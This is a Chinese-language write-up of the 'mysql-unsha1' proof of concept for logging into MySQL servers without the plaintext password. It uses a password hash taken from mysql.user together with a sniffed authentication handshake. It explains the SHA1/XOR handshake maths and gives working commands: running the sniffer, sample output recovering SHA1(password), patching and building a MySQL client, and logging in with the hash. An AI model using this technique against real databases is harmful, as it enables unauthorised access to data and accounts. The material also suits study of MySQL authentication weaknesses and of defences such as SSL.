mysql-unsha1:在未知密碼情況下,登入任意MYSQL資料庫
摘要
這個POC用於在不知道明文密碼的情況下對啟用了密碼安全認證外掛(預設開啟外掛:mysql_native_password)的MYSQL資料庫進行登入。
前提條件為:
1.為了獲取到已知使用者的hash,我們需要讀取到目標資料庫中的mysql.user表。
2.能夠攔截到上述已知使用者執行成功的認證資訊(即通過SSL認證無法攻擊成功)。
注意:這並不是MYSQL的一個漏洞,只是認證協議工作的直接後果。如果攻擊者已經滿足了上面兩個前提,那麼整個系統應該是已經被攻破了。則這篇文章只是對MYSQL伺服器獲取許可權的另外一種思路。
MySQL伺服器密碼
在預設情況下,所有密碼應該是存放在資料庫中的mysql.user表中,並且使用PASSWORD()方法對密碼進行兩次SHA1摘要。
mysql> SELECT DISTINCT password FROM mysql.user WHERE user = 'root';
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
mysql> SELECT PASSWORD('password');
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
mysql> SELECT SHA1(UNHEX(SHA1('password')));
2470c0c06dee42fd1618bb99005adca2ec9d1e19
握手認證
下方公式不能直接在mysql的客戶端使用sha1進行計算,具體原因不明,但是使用java程式碼是可以得到想要的結果的。
客戶端傳送TCP連線資訊之後,MYSQL握手認證的簡化步驟大致如下:
1. 服務端傳送一個包含鹽(s)的資料包
2. 客戶端迴應一個包含處理過後的密碼(x)的登入請求,密碼加密演算法為:
x := SHA1(password) XOR SHA1(s + SHA1(SHA1(password)))
其中password是使用者提供的,"+"是將字串連結起來。
3. 如果滿足下面等式,服務端會確認登入成功:
SHA1(x XOR SHA1(s + SHA1(SHA1(password)))) = SHA1(SHA1(password))
其中SHA1(SHA1(password))是對密碼進行兩次SHA1摘要,然後儲存到mysql.user表中。並且服務端並不知道密碼以及它的SHA1摘要是什麼。
漏洞利用
攻擊者已經能夠獲得SHA1(password),因此我們可以在不知道明文的密碼情況下對服務端進行欺騙。
步驟如下:
1.將h設定為我們在mysql.user表中得到的經過編碼的password。
2.s和x是我們通過攔截通訊得到的鹽和經過處理的密碼。
所以,第一步對密碼進行的SHA1可以表示為:
SHA1(password) = x XOR SHA1(s + h)
攻擊工具
為了可以更加方便的利用這個漏洞,為這個PoC提供了兩個利用工具:
1.一個簡單的嗅探器,用於從PCAP檔案中提取和檢查實時或離線的握手資訊;
2.允許將登入的密碼設定為SHA1摘要,而不是明文密碼的補丁.
嗅探器
安裝mysql-unsha1-sniff只需要執行make命令(或者使用make static生成一個靜態連結可執行檔案)。Makefile將在此目錄下查詢uthash.h檔案,如果不存在,就去下載它。
執行不帶引數的mysql-unsha1-sniff,將顯示用法。
例子:
sudo ./mysql-unsha1-sniff -i lo 127.0.0.1 3306 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:root
一旦成功抓到握手認證資訊,資料會像下面一樣:
[+] Input:
[+] - username ........................ 'root'
[+] - salt ............................ 3274756c42415d3429717e482a3776704d706b49
[+] - client session password ......... 6d45a453b989ad0ff0c84daf623e9870f129c329
[+] - SHA1(SHA1(password)) ............ 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] Output:
[+] - SHA1(password) .................. 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
[+] Check:
[+] - computed SHA1(SHA1(password)) ... 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] - authentication status ........... OK
如果沒有提供帳戶資訊,工具將僅顯示salt和會話密碼。
mysql客戶端補丁
搭建mysql客戶端需要一些時間,並且確保您的磁碟有足夠的空間。
1下載並且解壓MySQL原始碼:
wget https://github.com/mysql/mysql-server/archive/mysql-5.7.17.tar.gz
tar xf mysql-5.7.17.tar.gz
cd mysql-server-mysql-5.7.17
2.安裝補丁
patch -p1 </path/to/mysql-server-unsha1.patch
3.編譯:
mkdir build
cd build
cmake -DDOWNLOAD_BOOST=1 -DWITH_BOOST=boost -DWITHOUT_SERVER:BOOL=ON ..
make -j$(nproc)
4.客戶端檔案將在client/mysql資料夾中產生,設定環境變數。安裝完成之後刪除原始碼節省重空間。
sudo cp client/mysql /usr/local/bin/mysql-unsha1
cd ../..
rm -fr mysql-server-mysql-5.7.17
使用mysql-unsha1作為原始的MySQL客戶端,並且只需要瞭解–password[=password], -p[password]選項需要一個長度為40的SHA1摘要。
使用前面獲取到的SHA1進行登入:
mysql-unsha1 -h 127.0.0.1 -P 3306 -u root --password=5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
其中:
mysql> SELECT SHA1(UNHEX('5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8'));
2470c0c06dee42fd1618bb99005adca2ec9d1e19
2470c0c06dee42fd1618bb99005adca2ec9d1e19是在mysql.user表裡面的密碼。